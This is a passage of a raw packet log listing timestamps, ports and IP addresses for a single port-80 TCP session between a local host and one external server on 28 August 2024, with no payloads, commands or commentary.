Aug 28, 2024 22:55:59.497961998 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.497971058 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.497982979 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.497982025 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.497999907 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498006105 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.498011112 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498022079 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498034954 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.498048067 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498053074 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.498058081 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498069048 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498080015 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.498105049 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.498119116 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498130083 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498138905 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498150110 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498153925 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.498161077 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498169899 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498176098 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.498203039 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.498203039 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498214006 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498229027 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498238087 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.498239994 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498250008 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498261929 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498261929 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.498271942 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498282909 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498286963 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.498306036 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.498318911 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.498455048 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498492002 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.498522043 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498544931 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498555899 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498558998 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.498565912 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498575926 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498585939 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498589993 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.498596907 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498599052 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.498621941 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.498636961 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.498758078 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498769045 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498779058 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498792887 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.498800039 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498811007 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498811960 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.498820066 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498831034 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498842001 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498842955 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.498853922 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498864889 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498876095 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.498877048 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498888969 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498898983 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498900890 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.498908997 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498920918 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.498925924 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.498945951 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.498964071 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.499890089 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.499895096 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.499897957 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.499938965 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.499963045 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.499974012 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.499984026 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.499994993 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.499998093 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.500022888 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.579926968 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.579945087 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.579957962 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.579969883 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.579982042 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.579988956 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.579992056 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.580004930 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.580018044 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.580023050 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.580039978 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.580060959 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.580082893 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.580121040 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.580151081 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.580162048 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.580188036 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.580200911 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.580221891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.580233097 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.580241919 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.580252886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.580260038 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.580272913 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.580310106 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.581283092 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.581293106 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.581302881 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.581335068 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.581367016 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.581398010 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.581408024 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.581418037 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.581434965 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.581456900 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.581470966 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.581486940 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.581506968 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.581531048 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.581685066 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.581696033 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.581712008 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.581728935 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.581737995 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.581739902 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.581752062 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.581763983 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.581768990 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.581773043 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.581788063 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.581818104 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.582336903 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.582353115 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.582362890 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.582374096 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.582385063 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.582389116 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.582396030 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.582412004 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.582421064 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.582448959 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.583389997 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.583439112 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.583439112 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.583448887 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.583472967 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.583488941 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.583502054 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.583513021 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.583522081 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.583532095 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.583539009 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.583544970 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.583561897 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.583592892 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.584196091 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.584214926 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.584225893 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.584245920 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.584264040 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.584280014 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.584290981 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.584300041 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.584325075 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.584326029 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.584336996 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.584352970 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.584357977 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.584391117 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.584405899 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.584444046 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.584455013 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.584464073 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.584477901 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.584490061 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.584490061 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.584497929 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.584500074 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.584508896 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.584532976 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.584537029 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.584544897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.584554911 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.584570885 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.584572077 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.584582090 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.584592104 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.584595919 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.584604979 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.584609032 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.584623098 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.584644079 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.584683895 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.584701061 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.584711075 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.584722042 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.584728956 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.584733009 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.584743977 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.584754944 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.584755898 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.584784985 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.584800959 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.584810972 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.584821939 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.584831953 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.584851027 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.584860086 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.584881067 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.584929943 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.584970951 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.585040092 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.585051060 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.585061073 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.585081100 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.585082054 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.585086107 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.585099936 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.585097075 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.585103035 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.585112095 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.585115910 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.585119963 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.585125923 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.585129976 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.585130930 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.585150003 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.585161924 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.585190058 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.585191965 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.585202932 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.585212946 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.585230112 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.585233927 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.585242987 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.585253954 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.585258961 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.585266113 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.585284948 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.585304976 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.585329056 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.585340023 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.585352898 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.585366964 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.585381031 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.585385084 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.585391045 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.585396051 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.585401058 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.585417032 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.585436106 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.585454941 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.585529089 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.585571051 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.585613966 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.585663080 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.585684061 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.585695028 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.585705042 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.585728884 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.585730076 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.585740089 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.585750103 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.585751057 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.585761070 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.585777998 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.585792065 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.585819006 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.586673021 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.586700916 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.586707115 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.586718082 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.586735010 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.586750984 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.586776972 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.586793900 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.586803913 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.586817980 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.586819887 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.586838961 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.586863995 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.666703939 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.666727066 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.666742086 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.666754007 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.666764021 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.666770935 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.666784048 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.666790962 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.666795015 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.666799068 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.666810036 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.666841984 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.666857004 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.666943073 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.666984081 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.666996956 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.667013884 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.667018890 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.667021990 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.667035103 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.667036057 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.667047024 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.667062998 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.667084932 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.667102098 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.667141914 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.668163061 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.668175936 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.668193102 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.668205023 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.668216944 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.668216944 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.668229103 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.668246031 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.668262959 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.668275118 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.668283939 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.668287992 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.668313980 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.668323994 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.668498039 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.668509960 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.668520927 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.668560982 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.668564081 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.668564081 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.668571949 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.668582916 CEST	80	49731	147.45.68.138	192.168.2.7
